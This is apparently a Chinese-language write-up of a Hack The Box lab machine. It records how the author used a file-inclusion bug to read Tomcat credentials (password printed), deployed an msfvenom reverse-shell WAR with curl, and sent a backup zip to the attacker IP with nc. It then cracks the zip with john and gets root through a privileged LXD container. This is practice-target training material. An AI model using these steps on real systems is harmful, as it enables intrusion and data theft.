nmap scan
#### port explore
22
80:80是一个bootstrap themes搭起来的网站
8080:8080是一个tomcat部署成功的默认界面,尝试了默认密码没有成功
#### 目录扫描
先看80端口的readme表明是一个模板创建的,assets目录不允许访问,index.php/login好像也不能访问,80端口的news指向了一个megahosting.htb的域名,先将他的信息添加到/etc/hosts中,然后访问,得到一个信息是之前存在一个数据泄漏,但现在已经被移除了
看8080端口的页面,一个manage需要登录
#### get tomcat cred
根据之前的提示,我们可以尝试文件包含,确认存在文件包含漏洞
tomcat说users都被定义在/etc/tomcat9/tomcat-users.xml中
但是没有内容,在搜索后得出tomcat9的配置文件有两个
usr/share/tomcat9/etc/tomcat-users.xml是另一个配置文件存在的地方
得到用户名密码为tomcat-$3cureP4s5w0rd123!
该用户能登录到host-manager界面
rolename存在admin-gui和manager-script
manager-scrript允许我们访问text-based web service located at /manager/text
尝试访问/manager/text/list
这样我们就拥有了部署war包的权限
使用msfvenom生成一个war
`msfvenom -p java/shell_reverse_tcp lhost=10.10.14.4 lport=8888 -f war -o rev.10.10.14.4-8888.war`
传上去试一下
`curl -u 'tomcat:$3cureP4s5w0rd123!' http://10.10.10.194:8080/manager/text/deploy?path=/abc --upload-file rev.10.10.14.14-8888.war`
访问文件触发,获得了tomcat的权限
`python3 -c 'import pty;pty.spawn("bash")'`提升shell模式
在/var/www/html/files中有一个所有者是ash的backup文件
用nc把它拷到本地
`
cat 16162020_backup.zip | nc 10.10.14.4 9999
nc -lvnp 9999 > 16162020_backup.zip
`
用zip2john创建这个zip的hash
`zip2john 16162020_backup.zip -o 16162020_backup.zip.john`
用john破解zip的密码
密码是admin@it
切换到ash
#### root
先尝试sudo -l,发现没有
传一个linenum.sh上去
adm 权限可以读取log files
#### lxd提权
创建一个容器挂载到root下面,然后就能够获得root的权限
目前该机器上并没有挂载容器
先下载一个container到本机
(LXD Alpina Linux image builder)[https://github.com/saghul/lxd-alpine-builder.git]
这个工具创建了一个LXD Alpina Linux container image
把生成的tar.gz传到靶机
接下来将该镜像导入lxc
`lxc image import alpine-v3.13-x86_64-20210218_0139.tar.gz --alias abcimage`
`lxd init`
`lxc init abcimage abccontainer -c security.privileged=true`
`lxc config device add abccontainer abcdevice disk source=/ path=/mnt/root recursive=true`
`lxc start abccontainer`
`lxc exec abccontainer /bin/sh`